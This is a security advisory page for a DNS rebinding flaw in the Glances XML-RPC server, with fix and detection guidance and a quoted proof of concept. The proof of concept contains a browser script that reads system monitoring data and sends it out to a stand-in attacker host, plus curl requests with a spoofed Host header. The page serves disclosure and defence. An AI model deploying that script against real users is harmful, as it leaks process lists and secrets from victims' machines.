CVE-2026-46611: Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
The Glances XML-RPC server (`glances -s`) accepts any HTTP `Host` header, so a DNS rebinding page in a victim's browser can read the full system monitoring data from it, even on loopback. Glances before 4.5.5 is affected. Upgrade to 4.5.5.
Published Jun 22, 2026 · Updated Jul 21, 2026 · Analysis Oct 25, 2026
What an attacker can do
Glances added host validation to its REST/WebUI server in 4.5.2 (CVE-2026-32632) and to its MCP server in 4.5.1. The XML-RPC server in glances/server.py got neither. GlancesXMLRPCHandler extends SimpleXMLRPCRequestHandler and never checks the Host header, and no allowed-hosts setting exists for it.
The attacker registers a domain with a one-second DNS TTL and serves a page from it. The victim's browser loads the page. The attacker's DNS then flips to the Glances address, for example 127.0.0.1. The page's fetch() to /RPC2 now counts as same-origin, and the server answers it. Its wildcard Access-Control-Allow-Origin: * header (the companion issue, CVE-2026-33533) lets the browser read the reply.
The XML-RPC API then returns the hostname, OS and kernel, every process with its command line, network and disk statistics, listening ports, and container metadata. Command lines often hold API keys and database passwords passed as flags. The attacker needs the victim to visit a page, so the score is medium (5.3, user interaction required). Binding Glances to loopback does not help, and a LAN or public bind widens exposure. The API is read-only.
Who is affected
Glances before 4.5.5 with the XML-RPC server running (glances -s). The REST/WebUI mode (glances -w) is covered by earlier host validation. No special configuration is needed to be exposed. Check the version:
glances --versionOr with pip:
pip show glancesCheck for a running glances -s process or a service unit that starts it.
glances
- Ecosystem
- PyPI
- Affected
- < 4.5.5
- Fixed in
- 4.5.5
- Check
pip show glances
How to fix it
Upgrade to Glances 4.5.5.
pip install --upgrade glances==4.5.5The 4.5.5 release notes list the Host header validation fix for the XML-RPC server and a related fix for its CORS handling, without detail on how they work. The advisory says both issues must be fixed together. Its other suggestion is to stop using the XML-RPC server and use the REST API instead, which already has host validation. If you cannot upgrade, do not run glances -s on workstations where people browse the web.
How to tell if you were hit
Look in the Glances server's output for XML-RPC requests to /RPC2 that you did not make, especially from a browser's user agent. Network logs showing DNS answers for one name that change from a public IP to a private or loopback address within seconds are a rebinding sign. Send a request with a foreign Host header, for example with curl -H "Host: attacker.example.com" against /RPC2. A 200 response means the server is open to rebinding.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.
---
Details
Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py
Contrast — patched backends:
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py
The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.
Contrast this with the two other Glances server backends, both of which received host-validation hardening:
REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:
# glances_restful_api.py
if self.webui_allowed_hosts:
self._app.add_middleware(
TrustedHostMiddleware,
allowed_hosts=self.webui_allowed_hosts,
)MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:
# glances_mcp.py
TransportSecuritySettings(
allowed_hosts=self.mcp_allowed_hosts,
...
)XML-RPC server (glances/server.py) — no equivalent exists:
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
rpc_paths = ('/RPC2',)
...There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Server type | Host header | HTTP status | Data returned | | XML-RPC | `attacker.example.com` | 200 OK | Yes — VULNERABLE | | XML-RPC | `127.0.0.1:61209` | 200 OK | Yes (baseline) | | REST API | `attacker.example.com` | 400 Bad Request | No — patched |
---
PoC
Attack overview
DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.
Special configuration required
No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").
---
Step 1 — Start the Glances XML-RPC server
glances -s -p 61209Step 2 — Confirm the server accepts an arbitrary Host header
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
-H "Host: attacker.example.com" \
-H "Content-Type: text/plain" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'Expected result (secure): HTTP/1.0 400 Bad Request Actual result: HTTP/1.0 200 OK with full XML-RPC response body.
Step 3 — Confirm the REST API is patched (comparison)
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210
curl -s -o /dev/null -w "%{http_code}\n" \
"http://127.0.0.1:61210/api/4/status" \
-H "Host: attacker.example.com"
# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)Step 4 — Full DNS rebinding exploitation (real-world path)
- Attacker registers
attacker.example.comwith a low-TTL (1 second) DNS record initially pointing to their own server IP. - Attacker serves the following page from
http://attacker.example.com:
<script>
async function exfil() {
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
try {
const r = await fetch('http://attacker.example.com:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
});
const data = await r.text();
// data contains: hostname, OS, all processes with cmd-lines, network, disk
await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
} catch (_) {}
}
// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>- Victim visits
http://attacker.example.comin their browser. - After TTL expiry, the attacker's DNS server responds with
127.0.0.1. - The browser's
fetch()call is sent to127.0.0.1:61209withHost: attacker.example.com; the XML-RPC server accepts it. - The
Access-Control-Allow-Origin: *header (see companion advisory) allows the browser to read the response body. - The attacker receives the complete system monitoring snapshot.
Tools that simplify DNS rebinding for research/testing include:
Step 5 — Confirm absence of Host check in source
import sys, inspect
sys.path.insert(0, '/path/to/glances') # adjust to local clone
import glances.server as s
src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False---
Impact
Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)
Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:
- Glances is bound to
127.0.0.1(loopback) — DNS rebinding bypasses the loopback restriction. - Glances is bound to a LAN IP — any browser on that LAN is at risk.
- Glances is exposed on a public IP — any browser on the internet is at risk.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.
Impact:
- Confidentiality: High — complete system monitoring data readable remotely without credentials.
- Integrity: None — read-only XML-RPC API.
- Availability: None — no denial-of-service component.
The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.
---
Suggested Fix
Option 1 — Add Host validation to the XML-RPC handler (preferred)
Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:
# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
allowed_hosts: list[str] = [] # populated from config
def parse_request(self) -> bool:
if not super().parse_request():
return False
if self.allowed_hosts:
host = self.headers.get('Host', '').split(':')[0]
if host not in self.allowed_hosts:
self.send_error(400, 'Bad Request: invalid Host header')
return False
return TruePopulate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.
Option 2 — Deprecate and remove the XML-RPC server
The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. ---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
Credited to sectroyer.
Questions
- Am I safe if Glances listens only on 127.0.0.1?
No. DNS rebinding makes the victim's browser send the request to the loopback address, so the loopback bind does not stop it. Upgrade to 4.5.5.
- Is the Glances web UI affected?
The advisory says the REST/WebUI server has had host validation since 4.5.2. The gap is in the XML-RPC server started with
glances -s.- What data leaks?
Hostname, OS, process list with command lines, network and disk stats, listening ports and container metadata. Command lines may include secrets passed as flags.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
